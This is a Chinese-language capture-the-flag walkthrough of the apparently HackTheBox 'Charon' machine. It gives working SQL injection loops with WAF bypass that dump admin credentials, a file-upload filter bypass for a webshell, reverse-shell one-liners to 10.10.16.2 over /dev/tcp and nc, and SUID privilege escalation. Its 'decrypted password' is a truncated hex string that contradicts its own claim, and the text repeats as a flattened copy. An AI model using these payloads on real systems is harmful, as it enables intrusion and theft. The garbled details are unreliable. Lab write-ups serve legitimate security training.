记一次CHARON对的渗透测试
字数 1424 2025-08-24 07:48:33

记一次CHARON渗透测试教学文档

1. 信息收集阶段

1.1 端口扫描

使用nmap进行初始扫描,发现目标开放了两个关键服务:

  • OpenSSH服务
  • Apache服务(HTTP/80端口)

命令示例

nmap -sV 10.10.10.31

1.2 Web服务枚举

访问80端口发现是一个CMS界面,初步浏览未发现明显可利用点。

1.3 目录扫描

使用gobuster进行目录爆破:

命令示例

gobuster dir -u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40

关键发现

  • 扫描结果中发现了/cmsdata目录
  • 访问该目录发现一个登录界面,包含登录表单和"忘记密码"功能

2. 漏洞利用阶段

2.1 SQL注入发现

在"忘记密码"功能处发现SQL注入漏洞:

  1. 输入单引号'导致报错
  2. 输入双引号"提示"找不到这个email"
  3. 确认存在SQL注入漏洞

2.2 SQL注入利用

2.2.1 字段数判断

使用LIMITUNION SELECT判断字段数,发现第4个字段显示邮箱格式信息。

2.2.2 WAF绕过技巧

发现WAF拦截,通过以下方式绕过:

  • UNION SELECT改为大写UNIoN SELECT
  • 使用CONCAT函数合并结果

2.2.3 自动化枚举脚本

使用脚本枚举数据库信息:

枚举用户名

for i in {1..1000}; do 
  curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "email=a@b.c' or 1=1 limit ${i},1;" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break;
done

枚举数据库

for i in {0..100}; do 
  curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "email=a@b.c' UNiON SELECT 1,schema_name,3,'a@b.c' from information_schema.schemata limit ${i},1;" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break; 
done | cut -d'>' -f2

获取管理员凭据

for i in $(seq 0 300); do 
  payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
  curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
done

获取结果

  • 用户名:super_cms_adm
  • 密码哈希:0b0689ba94f94533400f4decd87fa260(MD5)
  • 解密后密码:5f4dcc3b5aa765d61d8327deb8(实际为"password")

3. 文件上传利用

3.1 文件上传测试

成功登录后发现文件上传功能,测试发现:

  • 直接上传.php文件被拦截
  • 尝试.php.jpg格式可上传但无法解析

3.2 上传绕过技术

服务器通过三种方式过滤文件:

  1. 文件扩展名
  2. Content-Type头
  3. 魔术字节/MIME类型

绕过方法

  1. 修改前端代码,将name属性改为testfile1
  2. 输入文件名cmd.php
  3. 上传.php.jpg格式文件

关键点

  • 检查响应包中的base64编码字段
  • 使用echo命令解码base64内容

4. 命令执行与反弹shell

4.1 命令执行

成功上传webshell后执行系统命令。

4.2 反弹shell

使用多种方法建立反弹shell连接:

方法1

bash -c 'bash -i >%26 /dev/tcp/10.10.16.2/443 0>%261'

方法2

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f

监听端

nc -lvnp 443

5. 权限提升

5.1 敏感文件发现

/home/decoder目录下发现两个密钥文件。

5.2 密钥解密

使用RsaCtfTool进行暴力破解:

安装步骤

sudo apt install libmpc-dev libgmp3-dev sagemath
pip3 install -r requirements.txt

5.3 SSH登录

使用解密后的密钥通过SSH登录获取user.txt。

5.4 SUID提权

查找可利用的SUID文件:

命令

find / -perm -4000 -ls 2>/dev/null

发现

  • supershell可被利用
  • 通过supershell成功读取root.txt

6. 总结与关键点

  1. 信息收集:全面的端口扫描和目录爆破是发现入口点的关键
  2. SQL注入:注意WAF绕过技巧,特别是大小写混合和函数使用
  3. 文件上传:理解服务器过滤机制,尝试多种绕过方法
  4. 权限提升:系统检查SUID文件和敏感目录是提权的重要途径
  5. 工具使用:熟练使用nmap、gobuster、curl、RsaCtfTool等工具

防御建议

  • 对用户输入进行严格过滤
  • 限制文件上传类型和内容检查
  • 定期检查系统SUID文件
  • 使用强密码并加密存储
记一次CHARON渗透测试教学文档 1. 信息收集阶段 1.1 端口扫描 使用nmap进行初始扫描,发现目标开放了两个关键服务: OpenSSH服务 Apache服务(HTTP/80端口) 命令示例 : 1.2 Web服务枚举 访问80端口发现是一个CMS界面,初步浏览未发现明显可利用点。 1.3 目录扫描 使用gobuster进行目录爆破: 命令示例 : 关键发现 : 扫描结果中发现了 /cmsdata 目录 访问该目录发现一个登录界面,包含登录表单和"忘记密码"功能 2. 漏洞利用阶段 2.1 SQL注入发现 在"忘记密码"功能处发现SQL注入漏洞: 输入单引号 ' 导致报错 输入双引号 " 提示"找不到这个email" 确认存在SQL注入漏洞 2.2 SQL注入利用 2.2.1 字段数判断 使用 LIMIT 和 UNION SELECT 判断字段数,发现第4个字段显示邮箱格式信息。 2.2.2 WAF绕过技巧 发现WAF拦截,通过以下方式绕过: 将 UNION SELECT 改为大写 UNIoN SELECT 使用 CONCAT 函数合并结果 2.2.3 自动化枚举脚本 使用脚本枚举数据库信息: 枚举用户名 : 枚举数据库 : 获取管理员凭据 : 获取结果 : 用户名: super_cms_adm 密码哈希: 0b0689ba94f94533400f4decd87fa260 (MD5) 解密后密码: 5f4dcc3b5aa765d61d8327deb8 (实际为"password") 3. 文件上传利用 3.1 文件上传测试 成功登录后发现文件上传功能,测试发现: 直接上传 .php 文件被拦截 尝试 .php.jpg 格式可上传但无法解析 3.2 上传绕过技术 服务器通过三种方式过滤文件: 文件扩展名 Content-Type头 魔术字节/MIME类型 绕过方法 : 修改前端代码,将 name 属性改为 testfile1 输入文件名 cmd.php 上传 .php.jpg 格式文件 关键点 : 检查响应包中的base64编码字段 使用 echo 命令解码base64内容 4. 命令执行与反弹shell 4.1 命令执行 成功上传webshell后执行系统命令。 4.2 反弹shell 使用多种方法建立反弹shell连接: 方法1 : 方法2 : 监听端 : 5. 权限提升 5.1 敏感文件发现 在 /home/decoder 目录下发现两个密钥文件。 5.2 密钥解密 使用RsaCtfTool进行暴力破解: 安装步骤 : 5.3 SSH登录 使用解密后的密钥通过SSH登录获取user.txt。 5.4 SUID提权 查找可利用的SUID文件: 命令 : 发现 : supershell 可被利用 通过 supershell 成功读取root.txt 6. 总结与关键点 信息收集 :全面的端口扫描和目录爆破是发现入口点的关键 SQL注入 :注意WAF绕过技巧,特别是大小写混合和函数使用 文件上传 :理解服务器过滤机制,尝试多种绕过方法 权限提升 :系统检查SUID文件和敏感目录是提权的重要途径 工具使用 :熟练使用nmap、gobuster、curl、RsaCtfTool等工具 防御建议 : 对用户输入进行严格过滤 限制文件上传类型和内容检查 定期检查系统SUID文件 使用强密码并加密存储